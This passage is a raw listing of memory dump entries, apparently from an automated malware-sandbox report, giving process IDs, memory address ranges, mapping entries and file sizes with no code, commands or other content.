memory/3008-314-0x00000000014A0000-0x00000000014B6000-memory.dmpFilesize
88KB
-
memory/3020-115-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/3020-116-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/3052-209-0x0000000000000000-mapping.dmp
-
memory/3092-172-0x0000000000000000-mapping.dmp
-
memory/3124-253-0x0000000000400000-0x0000000000883000-memory.dmpFilesize
4.5MB
-
memory/3124-256-0x0000000000030000-0x0000000000039000-memory.dmpFilesize
36KB
-
memory/3124-233-0x0000000000000000-mapping.dmp
-
memory/3168-237-0x0000000000000000-mapping.dmp
-
memory/3168-271-0x00000000062D0000-0x000000000641A000-memory.dmpFilesize
1.3MB
-
memory/3196-215-0x0000000000000000-mapping.dmp
-
memory/3272-376-0x0000023AD9710000-0x0000023AD9782000-memory.dmpFilesize
456KB
-
memory/3280-296-0x0000000002C10000-0x0000000002C11000-memory.dmpFilesize
4KB
-
memory/3280-277-0x0000000000000000-mapping.dmp
-
memory/3316-238-0x0000000000DA0000-0x0000000000DA2000-memory.dmpFilesize
8KB
-
memory/3316-223-0x0000000000000000-mapping.dmp
-
memory/3316-225-0x00000000008C0000-0x00000000008C1000-memory.dmpFilesize
4KB
-
memory/3520-202-0x0000000000000000-mapping.dmp
-
memory/3540-285-0x0000000004ED0000-0x0000000004ED1000-memory.dmpFilesize
4KB
-
memory/3540-236-0x0000000000000000-mapping.dmp
-
memory/3540-260-0x0000000004910000-0x0000000004911000-memory.dmpFilesize
4KB
-
memory/3540-248-0x0000000000070000-0x0000000000071000-memory.dmpFilesize
4KB
-
memory/3540-268-0x00000000023F0000-0x00000000023F1000-memory.dmpFilesize
4KB
-
memory/3540-266-0x0000000002430000-0x0000000002431000-memory.dmpFilesize
4KB
-
memory/3556-280-0x0000000000000000-mapping.dmp
-
memory/3556-291-0x0000000000760000-0x0000000000761000-memory.dmpFilesize
4KB
-
memory/3556-299-0x00000000027F0000-0x00000000027F1000-memory.dmpFilesize
4KB
-
memory/3556-312-0x0000000004FA0000-0x0000000004FA1000-memory.dmpFilesize
4KB
-
memory/3724-269-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/3724-261-0x0000000000000000-mapping.dmp
-
memory/3780-265-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/3780-259-0x0000000000000000-mapping.dmp
-
memory/3880-281-0x0000000000000000-mapping.dmp
-
memory/3880-283-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/3880-288-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/3928-448-0x0000000001290000-0x0000000001292000-memory.dmpFilesize
8KB
-
memory/4156-355-0x0000000000000000-mapping.dmp
-
memory/4172-418-0x00000000001D0000-0x0000000000200000-memory.dmpFilesize
192KB
-
memory/4172-424-0x0000000000400000-0x0000000000896000-memory.dmpFilesize
4.6MB
-
memory/4172-427-0x0000000002504000-0x0000000002506000-memory.dmpFilesize
8KB
-
memory/4172-433-0x0000000002502000-0x0000000002503000-memory.dmpFilesize
4KB
-
memory/4172-436-0x0000000002503000-0x0000000002504000-memory.dmpFilesize
4KB
-
memory/4172-429-0x0000000002500000-0x0000000002501000-memory.dmpFilesize
4KB
-
memory/4176-343-0x0000000004C20000-0x0000000004C21000-memory.dmpFilesize
4KB
-
memory/4176-292-0x0000000000000000-mapping.dmp
-
memory/4176-304-0x00000000003C0000-0x00000000003C1000-memory.dmpFilesize
4KB
-
memory/4176-318-0x0000000004550000-0x0000000004598000-memory.dmpFilesize
288KB
-
memory/4176-308-0x0000000000D60000-0x0000000000D61000-memory.dmpFilesize
4KB
-
memory/4176-326-0x00000000024E0000-0x00000000024E1000-memory.dmpFilesize
4KB
-
memory/4204-379-0x00000000051C0000-0x00000000057C6000-memory.dmpFilesize
6.0MB
-
memory/4204-344-0x0000000000418542-mapping.dmp
-
memory/4376-301-0x0000000000000000-mapping.dmp
-
memory/4456-306-0x0000000000000000-mapping.dmp
-
memory/4492-307-0x0000000000000000-mapping.dmp
-
memory/4492-309-0x0000000000E50000-0x0000000000E51000-memory.dmpFilesize
4KB
-
memory/4492-323-0x000000001BA60000-0x000000001BA62000-memory.dmpFilesize
8KB
-
memory/4492-316-0x0000000001560000-0x0000000001561000-memory.dmpFilesize
4KB
-
memory/4592-313-0x0000000000000000-mapping.dmp
-
memory/4592-319-0x0000000000F30000-0x0000000000FDE000-memory.dmpFilesize
696KB
-
memory/4592-321-0x00000000012A0000-0x00000000012B2000-memory.dmpFilesize
72KB
-
memory/4672-378-0x0000000000C70000-0x0000000000D46000-memory.dmpFilesize
856KB
-
memory/4672-351-0x0000000000400000-0x00000000008EF000-memory.dmpFilesize
4.9MB
-
memory/4672-320-0x0000000000000000-mapping.dmp
-
memory/4672-328-0x0000000000AC2000-0x0000000000B3E000-memory.dmpFilesize
496KB
-
memory/4708-322-0x0000000000000000-mapping.dmp
-
memory/4728-386-0x0000000004140000-0x000000000419D000-memory.dmpFilesize
372KB
-
memory/4728-362-0x0000000003FD5000-0x00000000040D6000-memory.dmpFilesize
1.0MB
-
memory/4728-324-0x0000000000000000-mapping.dmp
-
memory/4748-325-0x0000000000000000-mapping.dmp
-
memory/4748-368-0x0000000005770000-0x0000000005771000-memory.dmpFilesize
4KB
-
memory/4772-327-0x0000000000000000-mapping.dmp
-
memory/4772-329-0x00000000004C0000-0x00000000004C1000-memory.dmpFilesize
4KB
-
memory/4772-360-0x000000001BC30000-0x000000001BC32000-memory.dmpFilesize
8KB
-
memory/4876-394-0x000000001BE60000-0x000000001BE62000-memory.dmpFilesize
8KB
-
memory/4876-332-0x0000000000000000-mapping.dmp
-
memory/5068-348-0x0000000000000000-mapping.dmp
-
memory/5608-470-0x0000000000BD0000-0x0000000000BFF000-memory.dmpFilesize
188KB
-
memory/5744-452-0x00000000010D0000-0x000000000121A000-memory.dmpFilesize
1.3MB
-
memory/5784-453-0x00000000016A0000-0x00000000016A1000-memory.dmpFilesize
4KB